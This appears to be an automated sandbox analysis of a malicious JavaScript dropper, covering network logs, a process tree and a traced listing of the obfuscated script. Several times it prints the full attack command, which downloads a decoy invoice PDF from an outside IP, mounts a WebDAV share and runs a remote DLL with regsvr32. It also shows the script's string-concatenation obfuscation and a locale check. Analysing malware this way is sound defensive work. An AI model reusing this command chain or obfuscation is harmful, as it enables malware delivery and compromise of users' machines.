Jan 10, 2025 23:46:18.170217037 CET	1.1.1.1	192.168.2.9	0x348e	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:46:34.256622076 CET	1.1.1.1	192.168.2.9	0x793e	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 23:46:34.964267015 CET	1.1.1.1	192.168.2.9	0x8478	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:46:34.964267015 CET	1.1.1.1	192.168.2.9	0x8478	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49747	193.143.1.205	80	7888	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:46:25.134037018 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 23:46:25.952744961 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:46:25 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 [TRUNCATED] Data Ascii: f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponent [TRUNCATED]
Jan 10, 2025 23:46:25.952766895 CET	1236	IN	Data Raw: 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 20 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 23:46:25.952780008 CET	1236	IN	Data Raw: 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 1e Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 23:46:25.952791929 CET	435	IN	Data Raw: f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e 7b Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 23:46:25.952811956 CET	1236	IN	Data Raw: 32 30 30 30 0d 0a fd f9 d9 43 da 94 cb b1 a1 3b 69 ea 9b 13 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce Data Ascii: 2000C;i4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=
Jan 10, 2025 23:46:25.952847958 CET	224	IN	Data Raw: 6d 0c bd 7c bc 0e 63 e8 23 31 74 2a 53 df 9c 00 00 00 a6 c1 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf Data Ascii: m\|c#1t*SKvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=
Jan 10, 2025 23:46:25.952858925 CET	1236	IN	Data Raw: d9 e8 95 ec da eb 38 e1 9b a7 fe 02 00 60 13 36 7a 73 c3 ce 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e Data Ascii: 8`6zs(?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`
Jan 10, 2025 23:46:25.952872992 CET	1236	IN	Data Raw: df 91 fb d8 1d 18 2a 31 f4 fa fa e1 ea 32 c5 d0 bb 14 43 8f 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 Data Ascii: 12Cn1KCumgBPC%1C96t[9L/`Z]crZia)sehw6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&
Jan 10, 2025 23:46:25.952888012 CET	1236	IN	Data Raw: ae 9a f9 50 15 36 be d1 f7 d8 42 5d cf 17 3d f3 74 e9 9c 57 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 Data Ascii: P6B]=tWS&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)
Jan 10, 2025 23:46:25.952903032 CET	1236	IN	Data Raw: 7f fe 47 eb 99 93 fe fe f3 56 6a a3 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 Data Ascii: GVjDS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%
Jan 10, 2025 23:46:25.952934980 CET	896	IN	Data Raw: cf 84 ca 27 82 ff 91 80 70 26 5a 27 51 fd ec 85 2f 6b ee 9d 56 7e b3 85 5b ac c3 57 d3 bf f9 d3 8c b6 94 77 33 af 3a ba 1e 36 f7 83 16 85 12 6a 72 76 aa d8 1f 14 3d 9b 59 7f 60 6e cd ba 63 fd 33 27 b9 73 72 cd cd d6 bc 97 72 e3 cf 7e 59 2e 31 14 Data Ascii: 'p&Z'Q/kV~[Ww3:6jrv=Y`nc3'srr~Y.1K904CT{hD?ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49758	193.143.1.205	8888	8140	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:46:27.187340975 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 23:46:27.971271992 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:46:27 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	17:46:20
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\240815025266174071.js"
Imagebase:	0x7ff7023d0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:46:21
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll
Imagebase:	0x7ff75d320000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	17:46:21
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:46:21
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	17:46:25
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6153b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	17:46:25
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff75d320000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	17:46:25
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff603fd0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	17:46:26
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	17:46:26
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	17:46:26
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1648,i,6499586492912720118,18189921261920214580,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function gvqtznuen() {	gvqtznuen() ➔ undefined
1	oqfbbuh = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var oiejnvmvp = this[zcrxuhxel + uwpni + fhaswn + gpxxmx + tuknaha + njbaj + ayrhbzpmx + gczmpzmr] ( this[jwhgn + ydkwma + flekpixqb + fhaswn + ypbafze + zcrxuhxel + gczmpzmr][hcfbv + fhaswn + tuknaha + uwpni + gczmpzmr + tuknaha + rgkuzpv + fnhlzamg + qatlglajf + tuknaha + flekpixqb + gczmpzmr] ( jwhgn + ydkwma + flekpixqb + fhaswn + ypbafze + zcrxuhxel + gczmpzmr + pmomyjmc + ydkwma + ndcbvut + tuknaha + wzpma + wzpma ) [insmgsujz + tuknaha + bijxttg + insmgsujz + tuknaha + uwpni + dtvdyjz] ( dkzeves + pphnwvcf + qiashvqgu + auqnys + fslrf + hcfbv + wyqfbswpd + insmgsujz + insmgsujz + qiashvqgu + rdgge + jfeds + fslrf + wyqfbswpd + ydkwma + qiashvqgu + insmgsujz + ndkxd + hcfbv + xmcxe + ayrhbzpmx + gczmpzmr + fhaswn + xmcxe + wzpma + gbwzlx + drsjzm + uwpni + ayrhbzpmx + tuknaha + wzpma + ndkxd + njbaj + ayrhbzpmx + gczmpzmr + tuknaha + fhaswn + ayrhbzpmx + uwpni + gczmpzmr + ypbafze + xmcxe + ayrhbzpmx + uwpni + wzpma + ndkxd + xdznrtn + xmcxe + flekpixqb + uwpni + wzpma + tuknaha ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( rxcgwpg = 0 ; rxcgwpg < oqfbbuh[wzpma + tuknaha + ayrhbzpmx + bijxttg + gczmpzmr + ndcbvut] ; ++ rxcgwpg )
4	{
5	if ( oiejnvmvp == oqfbbuh[rxcgwpg] )
6	{
7	oiejnvmvp = true;
8	break ;
9	}
10	}
11	if ( oiejnvmvp !== true )
12	this[jwhgn + ydkwma + flekpixqb + fhaswn + ypbafze + zcrxuhxel + gczmpzmr][vvfnia + mbbxrcsu + ypbafze + gczmpzmr] ( );
13	this[jwhgn + ydkwma + flekpixqb + fhaswn + ypbafze + zcrxuhxel + gczmpzmr][hcfbv + fhaswn + tuknaha + uwpni + gczmpzmr + tuknaha + rgkuzpv + fnhlzamg + qatlglajf + tuknaha + flekpixqb + gczmpzmr] ( jwhgn + ydkwma + flekpixqb + fhaswn + ypbafze + zcrxuhxel + gczmpzmr + pmomyjmc + ydkwma + ndcbvut + tuknaha + wzpma + wzpma ) [fhaswn + mbbxrcsu + ayrhbzpmx] ( flekpixqb + pyhfrdaho + dtvdyjz + gbwzlx + xebjljjg + flekpixqb + gbwzlx + zcrxuhxel + xmcxe + zgpiby + tuknaha + fhaswn + gpxxmx + ndcbvut + tuknaha + wzpma + wzpma + pmomyjmc + tuknaha + tthkeg + tuknaha + gbwzlx + xvalkzz + hcfbv + xmcxe + pyhfrdaho + pyhfrdaho + uwpni + ayrhbzpmx + dtvdyjz + gbwzlx + vsvkjt + njbaj + ayrhbzpmx + jjbzgfcb + xmcxe + geohmrjq + tuknaha + xvalkzz + jwhgn + tuknaha + fnhlzamg + insmgsujz + tuknaha + jfrxitu + mbbxrcsu + tuknaha + gpxxmx + gczmpzmr + gbwzlx + xvalkzz + rgkuzpv + mbbxrcsu + gczmpzmr + xhkmmqfh + ypbafze + wzpma + tuknaha + gbwzlx + xchuki + gczmpzmr + tuknaha + pyhfrdaho + zcrxuhxel + xchuki + ndkxd + ypbafze + ayrhbzpmx + jjbzgfcb + xmcxe + ypbafze + flekpixqb + tuknaha + pmomyjmc + zcrxuhxel + dtvdyjz + xlsstces + gbwzlx + ndcbvut + gczmpzmr + gczmpzmr + zcrxuhxel + udwkt + xebjljjg + xebjljjg + dyirvnnb + joprxup + fzjujj + pmomyjmc + dyirvnnb + bcqkhheg + fzjujj + pmomyjmc + dyirvnnb + pmomyjmc + abhrart + ageocrqb + uwyanh + xebjljjg + ypbafze + ayrhbzpmx + jjbzgfcb + xmcxe + ypbafze + flekpixqb + tuknaha + pmomyjmc + zcrxuhxel + ndcbvut + zcrxuhxel + vsvkjt + sdgqxa + sdgqxa + gpxxmx + gczmpzmr + uwpni + fhaswn + gczmpzmr + gbwzlx + xchuki + gczmpzmr + tuknaha + pyhfrdaho + zcrxuhxel + xchuki + ndkxd + ypbafze + ayrhbzpmx + jjbzgfcb + xmcxe + ypbafze + flekpixqb + tuknaha + pmomyjmc + zcrxuhxel + dtvdyjz + xlsstces + sdgqxa + sdgqxa + flekpixqb + pyhfrdaho + dtvdyjz + gbwzlx + xebjljjg + flekpixqb + gbwzlx + ayrhbzpmx + tuknaha + gczmpzmr + gbwzlx + mbbxrcsu + gpxxmx + tuknaha + gbwzlx + ndkxd + ndkxd + dyirvnnb + joprxup + fzjujj + pmomyjmc + dyirvnnb + bcqkhheg + fzjujj + pmomyjmc + dyirvnnb + pmomyjmc + abhrart + ageocrqb + uwyanh + tvvaflza + osjctmbs + osjctmbs + osjctmbs + osjctmbs + ndkxd + dtvdyjz + uwpni + jjbzgfcb + zgpiby + zgpiby + zgpiby + fhaswn + xmcxe + xmcxe + gczmpzmr + ndkxd + sdgqxa + sdgqxa + flekpixqb + pyhfrdaho + dtvdyjz + gbwzlx + xebjljjg + flekpixqb + gbwzlx + fhaswn + tuknaha + bijxttg + gpxxmx + jjbzgfcb + fhaswn + fzjujj + abhrart + gbwzlx + xebjljjg + gpxxmx + gbwzlx + ndkxd + ndkxd + dyirvnnb + joprxup + fzjujj + pmomyjmc + dyirvnnb + bcqkhheg + fzjujj + pmomyjmc + dyirvnnb + pmomyjmc + abhrart + ageocrqb + uwyanh + tvvaflza + osjctmbs + osjctmbs + osjctmbs + osjctmbs + ndkxd + dtvdyjz + uwpni + jjbzgfcb + zgpiby + zgpiby + zgpiby + fhaswn + xmcxe + xmcxe + gczmpzmr + ndkxd + dyirvnnb + hbjegn + hbjegn + uwyanh + osjctmbs + hbjegn + abhrart + ageocrqb + joprxup + fzjujj + dyirvnnb + uwyanh + uwyanh + abhrart + pmomyjmc + dtvdyjz + wzpma + wzpma, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll",0,false) ➔ 0
14	}
15	ydkwma = "U";
16	ydkwma = "O";
17	ydkwma = "r";
18	ydkwma = "G";
19	ydkwma = "g";
20	ydkwma = "o";
21	ydkwma = "P";
22	ydkwma = "N";
23	ydkwma = "X";
24	ydkwma = "M";
25	ydkwma = "u";
26	ydkwma = "N";
27	ydkwma = "Y";
28	ydkwma = "D";
29	ydkwma = "e";
30	ydkwma = "H";
31	ydkwma = "L";
32	ydkwma = "O";
33	ydkwma = "K";
34	ydkwma = "O";
35	ydkwma = "c";
36	ydkwma = "X";
37	ydkwma = "Z";
38	ydkwma = "E";
39	ydkwma = "T";
40	ydkwma = "k";
41	ydkwma = "S";
42	dkzeves = "L";
43	dkzeves = "o";
44	dkzeves = "U";
45	dkzeves = "p";
46	dkzeves = "p";
47	dkzeves = "a";
48	dkzeves = "G";
49	dkzeves = "n";
50	dkzeves = "g";
51	dkzeves = "p";
52	dkzeves = "F";
53	dkzeves = "j";
54	dkzeves = "C";
55	dkzeves = "t";
56	dkzeves = "n";
57	dkzeves = "n";
58	dkzeves = "w";
59	dkzeves = "H";
60	flekpixqb = "k";
61	flekpixqb = "x";
62	flekpixqb = "F";
63	flekpixqb = "Y";
64	flekpixqb = "s";
65	flekpixqb = "m";
66	flekpixqb = "S";
67	flekpixqb = "j";
68	flekpixqb = "T";
69	flekpixqb = "G";
70	flekpixqb = "a";
71	flekpixqb = "u";
72	flekpixqb = "r";
73	flekpixqb = "z";
74	flekpixqb = "e";
75	flekpixqb = "J";
76	flekpixqb = "h";
77	flekpixqb = "J";
78	flekpixqb = "B";
79	flekpixqb = "W";
80	flekpixqb = "K";
81	flekpixqb = "i";
82	flekpixqb = "y";
83	flekpixqb = "V";
84	flekpixqb = "c";
85	flekpixqb = "s";
86	flekpixqb = "x";
87	flekpixqb = "h";
88	flekpixqb = "T";
89	flekpixqb = "o";
90	flekpixqb = "V";
91	flekpixqb = "d";
92	flekpixqb = "z";
93	flekpixqb = "K";
94	flekpixqb = "A";
95	flekpixqb = "D";
96	flekpixqb = "E";
97	flekpixqb = "v";
98	flekpixqb = "G";
99	flekpixqb = "t";
100	flekpixqb = "H";
101	flekpixqb = "A";
102	flekpixqb = "e";
103	flekpixqb = "c";
104	abhrart = "c";
105	abhrart = "u";
106	abhrart = "n";
107	abhrart = "L";
108	abhrart = "v";
109	abhrart = "h";
110	abhrart = "J";
111	abhrart = "i";
112	abhrart = "p";
113	abhrart = "h";
114	abhrart = "u";
115	abhrart = "w";
116	abhrart = "L";
117	abhrart = "R";
118	abhrart = "2";
119	xebjljjg = "S";
120	xebjljjg = "I";
121	xebjljjg = "S";
122	xebjljjg = "G";
123	xebjljjg = "/";
124	qiashvqgu = "b";
125	qiashvqgu = "K";
126	qiashvqgu = "q";
127	qiashvqgu = "x";
128	qiashvqgu = "M";
129	qiashvqgu = "i";
130	qiashvqgu = "G";
131	qiashvqgu = "n";
132	qiashvqgu = "t";
133	qiashvqgu = "d";
134	qiashvqgu = "U";
135	qiashvqgu = "D";
136	qiashvqgu = "S";
137	qiashvqgu = "V";
138	qiashvqgu = "W";
139	qiashvqgu = "F";
140	qiashvqgu = "b";
141	qiashvqgu = "j";
142	qiashvqgu = "d";
143	qiashvqgu = "z";
144	qiashvqgu = "V";
145	qiashvqgu = "E";
146	xlsstces = "b";
147	xlsstces = "j";
148	xlsstces = "k";
149	xlsstces = "U";
150	xlsstces = "i";
151	xlsstces = "L";
152	xlsstces = "R";
153	xlsstces = "S";
154	xlsstces = "r";
155	xlsstces = "p";
156	xlsstces = "N";
157	xlsstces = "u";
158	xlsstces = "d";
159	xlsstces = "K";
160	xlsstces = "i";
161	xlsstces = "d";
162	xlsstces = "t";
163	xlsstces = "H";
164	xlsstces = "X";
165	xlsstces = "V";
166	xlsstces = "G";
167	xlsstces = "V";
168	xlsstces = "A";
169	xlsstces = "c";
170	xlsstces = "N";
171	xlsstces = "f";
172	wyqfbswpd = "Q";
173	wyqfbswpd = "U";
174	ndcbvut = "d";
175	ndcbvut = "j";
176	ndcbvut = "m";
177	ndcbvut = "Z";
178	ndcbvut = "R";
179	ndcbvut = "A";
180	ndcbvut = "Q";
181	ndcbvut = "d";
182	ndcbvut = "G";
183	ndcbvut = "l";
184	ndcbvut = "M";
185	ndcbvut = "e";
186	ndcbvut = "f";
187	ndcbvut = "e";
188	ndcbvut = "w";
189	ndcbvut = "n";
190	ndcbvut = "Z";
191	ndcbvut = "u";
192	ndcbvut = "K";
193	ndcbvut = "k";
194	ndcbvut = "y";
195	ndcbvut = "s";
196	ndcbvut = "Q";
197	ndcbvut = "x";
198	ndcbvut = "v";
199	ndcbvut = "h";
200	bcqkhheg = "D";
201	bcqkhheg = "H";
202	bcqkhheg = "4";
203	wzpma = "y";
204	wzpma = "d";
205	wzpma = "Z";
206	wzpma = "T";
207	wzpma = "O";
208	wzpma = "o";
209	wzpma = "i";
210	wzpma = "A";
211	wzpma = "U";
212	wzpma = "l";
213	uwpni = "t";
214	uwpni = "S";
215	uwpni = "z";
216	uwpni = "d";
217	uwpni = "B";
218	uwpni = "z";
219	uwpni = "f";
220	uwpni = "t";
221	uwpni = "P";
222	uwpni = "j";
223	uwpni = "F";
224	uwpni = "H";
225	uwpni = "s";
226	uwpni = "M";
227	uwpni = "O";
228	uwpni = "x";
229	uwpni = "U";
230	uwpni = "k";
231	uwpni = "X";
232	uwpni = "f";
233	uwpni = "I";
234	uwpni = "g";
235	uwpni = "B";
236	uwpni = "d";
237	uwpni = "V";
238	uwpni = "p";
239	uwpni = "x";
240	uwpni = "a";
241	xdznrtn = "k";
242	xdznrtn = "n";
243	xdznrtn = "W";
244	xdznrtn = "c";
245	xdznrtn = "Y";
246	xdznrtn = "a";
247	xdznrtn = "s";
248	xdznrtn = "k";
249	xdznrtn = "D";
250	xdznrtn = "j";
